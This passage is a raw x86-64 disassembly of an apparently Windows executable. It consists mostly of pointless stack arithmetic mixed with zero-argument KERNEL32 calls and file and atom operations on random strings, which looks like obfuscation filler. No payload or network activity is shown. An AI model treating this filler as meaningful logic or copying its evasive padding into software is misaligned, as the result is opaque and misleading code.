mov qword [rsp + 0xdcb8], rax
mov rax, qword [rsp + 0xca58]
mov rcx, qword [0x1401c8ac0]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [rsp + 0xd478], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xd698], rax
mov rax, qword [rsp + 0xcda0]
mov rcx, qword [rsp + 0xdae0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x97d0], rax
movsx eax, word [rsp + 0x1214]
movsx ecx, word [rsp + 0xbdc]
add eax, ecx
mov word [0x1401c8bf4], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x66e4], eax
mov rax, qword [0x1401c8a50]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x22a0]
sub eax, ecx
mov word [rsp + 0xf30], ax
lea rcx, [rsp + 0x204b8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xdc78]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc6a8]
mov qword [rsp + 0xdcc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdcc0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x64f8], eax
movzx ecx, word [rsp + 0x2368]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x24dc], ax
lea rax, [rsp + 0x398]
mov qword [rsp + 0xdcc8], rax
mov rax, qword [rsp + 0xbf88]
mov rcx, qword [rsp + 0xc928]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf38], rax
mov rax, qword [rsp + 0xd4e0]
movzx eax, byte [rax]
mov byte [rsp + 0x3e3], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
movzx ecx, word [rsp + 0x2360]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2358], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x1401c8a40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc6d0]
mov qword [rsp + 0xdcd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdcd0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6380], eax
mov rax, qword [rsp + 0xd720]
mov rcx, qword [rsp + 0xc378]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xca58]
mov qword [rcx], rax
movsx eax, word [rsp + 0x23f8]
movsx ecx, word [rsp + 0x1dac]
add eax, ecx
mov word [rsp + 0x1e14], ax
mov rax, qword [0x1401c8ad0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x22cc]
and eax, ecx
mov word [0x1401c7154], ax
mov rax, qword [rsp + 0xcc80]
mov rcx, qword [rsp + 0xd5f8]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd560]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
mov rcx, qword [rsp + 0xcff0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
lea rax, [rsp + 0x1f3c]
mov qword [rsp + 0xdcd8], rax
movsx eax, word [0x1401c8a80]
movsx ecx, word [rsp + 0x22fc]
sub eax, ecx
mov word [rsp + 0xee8], ax
mov rax, qword [rsp + 0xc4e8]
mov qword [rsp + 0xdce0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.8ZBQouYnScNkPgkjOBWYgQp7LClFCc0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xdce8], rax
mov rax, qword [rsp + 0xd590]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc328]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x3d3], al
mov rax, qword [rsp + 0xc590]
mov rax, qword [rax]
mov rcx, qword [0x1401c8ac0]
mov qword [rsp + 0xdcf0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdcf0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xced0], rax
mov eax, dword [rsp + 0x5e18]
mov ecx, dword [rsp + 0x5650]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x59e8], eax
mov rax, qword [rsp + 0xc7b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c98]
sub eax, ecx
mov word [rsp + 0x2438], ax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov rax, qword [rsp + 0xcc38]
mov rax, qword [rax]
mov qword [0x1401c8d78], rax
lea rax, [rsp + 0x36b]
mov qword [rsp + 0xdcf8], rax
mov eax, dword [0x1401c8a1c]
mov ecx, dword [rsp + 0x64cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5630], eax
mov rax, qword [rsp + 0xca78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc9f0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2258], ax
lea rax, [rsp + 0x22c4]
mov qword [rsp + 0xdd00], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x6680], eax
mov rax, qword [0x1401c8ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd4b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc9c8], rax
mov eax, dword [rsp + 0x670c]
mov dword [rsp + 0x6874], eax
mov rcx, qword [rsp + 0xd658]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x66f0], eax
mov rax, qword [rsp + 0xc8f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x32e]
or eax, ecx
mov byte [rsp + 0x13f], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.BbQPQNGzIGs7JD
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xdd08], rax
mov rax, qword [rsp + 0xd630]
movsx eax, word [rax]
mov rcx, qword [0x1401c8b18]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xd630]
mov word [rcx], ax
movzx eax, word [rsp + 0x1180]
mov rcx, qword [rsp + 0xdd00]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1401c71b4], ax
mov rcx, qword [rsp + 0xc8a8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rdx, [rsp + 0x25f80]
mov rcx, qword [rsp + 0xdc28]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x64fc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x628c], eax
mov rax, qword [rsp + 0x9928]
mov qword [rsp + 0xdd10], rax
mov rax, qword [rsp + 0xcda0]
mov rcx, qword [0x1401c8a60]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xd3d0], rax
mov rax, qword [rsp + 0xd5f8]
mov rcx, qword [rsp + 0xc5e8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb210], rax
movsx eax, word [rsp + 0x1608]
mov rcx, qword [rsp + 0xd4f0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1130], ax
mov rax, qword [rsp + 0xd7c8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6678]
shl eax, cl
mov dword [rsp + 0x6254], eax
mov rax, qword [rsp + 0xcce8]
movzx eax, byte [rax]
mov byte [rsp + 0x3e4], al
mov rax, qword [0x1401c8ac0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xba90]
shr rax, cl
mov qword [rsp + 0xc9c8], rax
mov rax, qword [rsp + 0xdb00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x28f]
or eax, ecx
mov byte [rsp + 0x20e], al
mov rax, qword [rsp + 0xdc48]
mov ecx, dword [rsp + 0x6790]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6770], eax
mov rax, qword [0x1401c8ae0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa10]
add eax, ecx
mov word [0x1401c8c90], ax
movzx ecx, word [rsp + 0x22d4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x23ac], ax
movzx eax, word [rsp + 0x1bb8]
mov word [rsp + 0x24e0], ax
movzx eax, word [rsp + 0x1388]
movzx ecx, word [rsp + 0x2378]
add eax, ecx
mov rcx, qword [rsp + 0xce68]
mov word [rcx], ax
mov rax, qword [0x1401c8aa8]
mov rcx, qword [rsp + 0xdae0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb330], rax
lea rax, [rsp + 0x128]
mov qword [rsp + 0xdd18], rax
mov rax, qword [rsp + 0xdca8]
mov rcx, qword [0x1401c8a68]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd2e0], rax
lea rcx, str.OVr35x7_bwPPpqU
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x24e4], ax
mov rax, qword [rsp + 0xc6f0]
mov eax, dword [rax]
mov dword [rsp + 0x6878], eax
movsx eax, word [rsp + 0x2118]
movsx ecx, word [rsp + 0xa68]
shl eax, cl
mov word [rsp + 0x1b04], ax
mov rcx, qword [rsp + 0xd838]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xc7f0]
movzx eax, word [rax]
movzx ecx, word [0x1401c8bbc]
sar eax, cl
mov word [rsp + 0x227c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov rcx, qword [rsp + 0xd0e8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x680c], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x687c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rax, qword [rsp + 0xd648]
mov rax, qword [rax]
mov qword [0x1401c8d80], rax
lea rdx, [rsp + 0x263a8]
mov rcx, qword [rsp + 0xc410]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x6420], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6880], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
movzx eax, word [rsp + 0x2310]
movzx ecx, word [rsp + 0x22a0]
and eax, ecx
mov word [rsp + 0x8e8], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov rcx, qword [rsp + 0xcbb8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rcx, [rsp + 0x20638]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc118]
mov rcx, qword [rsp + 0xdad8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa2f8], rax
movzx ecx, word [rsp + 0x1fa8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x211c], ax
mov rcx, qword [rsp + 0xdba0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x6884], eax
mov rax, qword [rsp + 0xd808]
mov qword [rsp + 0xdd20], rax
movsx eax, byte [rsp + 0x3cb]
movsx ecx, byte [rsp + 0x8b]
or eax, ecx
mov byte [rsp + 0x90], al
mov rax, qword [rsp + 0xc400]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x662c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5868], eax
mov rax, qword [rsp + 0xd750]
mov ecx, dword [rsp + 0x6690]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x57e4], eax
movzx eax, byte [rsp + 0x28f]
imul eax, eax, 0xa9
mov byte [rsp + 0x3a4], al
lea rcx, [rsp + 0x1fcd8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xbd20]
mov qword [rsp + 0xdd28], rax
mov rax, qword [rsp + 0xc6b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa3c]
shl eax, cl
mov rcx, qword [0x1401c8b50]
mov word [rcx], ax
movsx eax, word [rsp + 0x24c8]
movsx ecx, word [rsp + 0x12c8]
sar eax, cl
mov word [rsp + 0x2198], ax
mov rax, qword [rsp + 0xd3b8]
movzx eax, word [rax]
mov word [rsp + 0x24e8], ax
movzx eax, word [rsp + 0x24e0]
movzx ecx, word [rsp + 0x2450]
or eax, ecx
mov rcx, qword [rsp + 0xd898]
mov word [rcx], ax
mov eax, dword [rsp + 0x6730]
mov ecx, dword [rsp + 0x56f4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd870]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x65e4], eax
mov rax, qword [rsp + 0xcec0]
mov rcx, qword [rsp + 0xc790]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbd58], rax
mov rax, qword [rsp + 0xcb10]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x23a]
add eax, ecx
mov byte [rsp + 0x2c2], al
mov rax, qword [0x1401c8b80]
movzx eax, word [rax]
mov word [rsp + 0x24ec], ax
movzx eax, word [rsp + 0x2210]
mov rcx, qword [rsp + 0xc558]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc4a8]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xdd30], rax
lea rcx, [rsp + 0x20308]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x634c], eax
mov rcx, qword [rsp + 0xd2c8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [0x1401c8b38]
mov rcx, qword [rsp + 0xba40]
add rcx, rax
mov rax, rcx
mov qword [str.N_Ot], rax
mov rax, qword [rsp + 0xd230]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdae0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc2e8], rax
lea rcx, [rsp + 0x20278]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc6a0], rax
mov rcx, qword [rsp + 0xd028]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x64a4], eax
mov rcx, qword [rsp + 0xd3f8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0xaeb8]
mov rcx, qword [rsp + 0xcf38]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b00], rax
mov rax, qword [rsp + 0x98d8]
movzx ecx, al
mov rax, qword [rsp + 0xbc18]
shl rax, cl
mov rcx, qword [rsp + 0xd488]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xdd38], rax
movzx ecx, word [rsp + 0x20d4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x20d0], ax
mov rax, qword [rsp + 0xcd00]
movzx eax, word [rax]
mov word [rsp + 0x24f0], ax
mov rax, qword [rsp + 0xdc68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x384]
sar eax, cl
mov byte [rsp + 0x3a4], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6680], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xd360], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6710], eax
mov r9d, 0x258c
xor r8d, r8d
lea rdx, [rsp + 0xd388]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6824], eax
mov rax, qword [rsp + 0xd650]
mov ecx, dword [rsp + 0x6470]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5efc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx ecx, word [rsp + 0x204c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2368], ax
mov rax, qword [rsp + 0xc8e8]
movzx eax, byte [rax]
mov byte [rsp + 0x3e5], al
mov edx, 0xe9c
mov rcx, qword [rsp + 0xd2c8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x64b4], eax
mov rax, qword [rsp + 0xc4a0]
mov rax, qword [rax]
imul rax, qword [rsp + 0x9710]
mov qword [rsp + 0xc508], rax
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xd138]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1401c8ab0], eax
mov rax, qword [rsp + 0xc9e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc9f0]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x15e0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xd3e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd4f0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xdab0]
mov word [rcx], ax
movzx ecx, word [rsp + 0x21a4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x204c], ax
movzx eax, word [rsp + 0x1e4c]
mov rcx, qword [rsp + 0xd740]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x226c], ax
mov r9d, 2
lea r8, [rsp + 0xd330]
mov rdx, qword [rsp + 0xdd40]
mov rcx, qword [rsp + 0xcee0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x676c], eax
mov rax, qword [rsp + 0xcc38]
mov rax, qword [rax]
mov qword [rsp + 0xdd48], rax
mov r9d, 0xd2e
xor r8d, r8d
lea rdx, [rsp + 0xcf88]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x6668], eax
movsx eax, byte [rsp + 0x3bb]
movsx ecx, byte [rsp + 0x38c]
sub eax, ecx
mov byte [rsp + 0x3c0], al
mov rcx, qword [rsp + 0xd250]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x5984]
mov qword [rsp + 0xdd50], rax
mov rax, qword [rsp + 0xd618]
mov rcx, qword [rsp + 0xb5e0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa548], rax
movsx eax, word [rsp + 0x1f50]
mov rcx, qword [rsp + 0xd4f0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x147c], ax
mov rax, qword [rsp + 0xce98]
movzx eax, word [rax]
mov word [0x1401c8d88], ax
mov rax, qword [rsp + 0xdb40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdad8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa0e0], rax
movzx eax, word [rsp + 0x1ef8]
mov rcx, qword [rsp + 0xd740]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x22ac], ax
mov rax, qword [rsp + 0xc848]
mov eax, dword [rax]
mov dword [rsp + 0x6888], eax
movzx ecx, word [rsp + 0x247c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x24f4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
movzx ecx, word [rsp + 0x231c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x20d4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xd500]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x374]
or eax, ecx
mov rcx, qword [rsp + 0xd940]
mov byte [rcx], al
mov eax, dword [rsp + 0x5db4]
mov rcx, qword [rsp + 0xd598]
mov qword [rsp + 0xdd58], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdd58]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x57fc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rcx, qword [rsp + 0xcc10]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
mov rax, qword [rsp + 0xc8f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd1f0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x380], al
mov rax, qword [0x1401c8c78]
mov rcx, qword [rsp + 0xca08]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbdf8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
mov rax, qword [rsp + 0xcd98]
movzx eax, word [rax]
mov word [rsp + 0x24f8], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xdd60], rax
mov rax, qword [rsp + 0xcbd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd600]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401c8c1c], ax
mov rax, qword [rsp + 0xd288]
mov rcx, qword [0x1401c7188]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xdbd0], rax
mov rax, qword [rsp + 0xc390]
mov rax, qword [rax]
mov qword [rsp + 0xdd68], rax
movsx eax, word [rsp + 0x1578]
movsx ecx, word [rsp + 0xbdc]
sar eax, cl
mov word [rsp + 0x18e8], ax
mov rax, qword [rsp + 0xc980]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd470]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2008], ax
movzx ecx, word [rsp + 0x2388]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1ff4], ax
mov rax, qword [rsp + 0xda18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6608]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x593c], eax
lea rcx, [rsp + 0x20488]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [0x1401c8ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcb90]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc7a0], rax
movzx eax, byte [rsp + 0x3bd]
mov byte [rsp + 0x3e6], al
mov rax, qword [rsp + 0xd4a0]
imul rax, qword [rsp + 0xbd08]
mov qword [rsp + 0xc758], rax
movsx eax, word [rsp + 0x24a8]
movsx ecx, word [rsp + 0x14bc]
sub eax, ecx
mov word [0x1401c8a28], ax
movzx eax, word [rsp + 0x2188]
movzx ecx, word [rsp + 0x21e0]
and eax, ecx
mov word [rsp + 0x21f8], ax
mov rax, qword [rsp + 0xd430]
mov rcx, qword [rsp + 0xdc78]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6118], eax
movzx eax, byte [rsp + 0x3c4]
cdq
mov ecx, 0x63
idiv ecx
mov byte [rsp + 0x277], al
mov rax, qword [rsp + 0xa620]
mov qword [rsp + 0xdd70], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
lea rcx, str.T6.Etp8rQ
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x24fc], ax
mov rcx, qword [rsp + 0xda30]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, byte [rsp + 0x310]
mov rcx, qword [0x1401c8ca8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3a7], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xcbe8], rax
movzx ecx, word [rsp + 0x2260]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x22bc], ax
mov rax, qword [rsp + 0xd498]
mov rax, qword [rax]
mov qword [rsp + 0xdd78], rax
mov eax, dword [rsp + 0x6844]
mov rcx, qword [rsp + 0xc430]
mov qword [rsp + 0xdd80], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdd80]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6768], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xdd88], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xcd90], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6658], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rax, qword [rsp + 0xc268]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2128]
or eax, ecx
mov word [rsp + 0xa68], ax
mov rax, qword [rsp + 0xc558]
movzx eax, word [rax]
mov word [0x1401c8d8c], ax
mov rax, qword [rsp + 0xd410]
imul rax, qword [rsp + 0xdc18]
mov qword [rsp + 0xa728], rax
mov rax, qword [rsp + 0xca48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd2d0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1fac], ax
lea rax, [rsp + 0x228c]
mov qword [rsp + 0xdd90], rax
lea rcx, [rsp + 0x20008]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xcf80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc5e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xda48], rax
mov edx, 0x1682
mov rcx, qword [rsp + 0xdb08]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x688c], eax
mov rax, qword [rsp + 0xcc98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc368]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x393], al
mov rax, qword [rsp + 0xc7a0]
mov qword [rsp + 0xdd98], rax
lea rcx, str.xbfo_W9CZ_tOW8nJL
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x249c], ax
mov rcx, qword [rsp + 0xdb78]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x67a4], eax
mov rax, qword [rsp + 0xd7c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6874]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x67e4], eax
lea rcx, [rsp + 0x1fbe8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xdda0], rax
lea rcx, [rsp + 0x20308]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0x1f8c]
mov rcx, qword [rsp + 0xd508]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xdd4], ax
mov rax, qword [rsp + 0xb578]
mov rcx, qword [rsp + 0xd400]
mov qword [rsp + 0xdda8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdda8]
mov rax, qword [rax]
shl rax, cl
mov qword [0x1401c7010], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x6558], eax
lea rcx, [rsp + 0x20278]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xc4b8]
movzx eax, byte [rax]
movzx ecx, byte [0x1401c8a16]
sar eax, cl
mov byte [rsp + 0x187], al
mov edx, 0x1a3e
mov rcx, qword [rsp + 0xd348]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x6890], eax
mov rax, qword [rsp + 0xcb48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6484]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5f08], eax
movzx eax, word [rsp + 0x850]
mov word [rsp + 0x2500], ax
xor r9d, r9d
lea r8, [rsp + 0xc318]
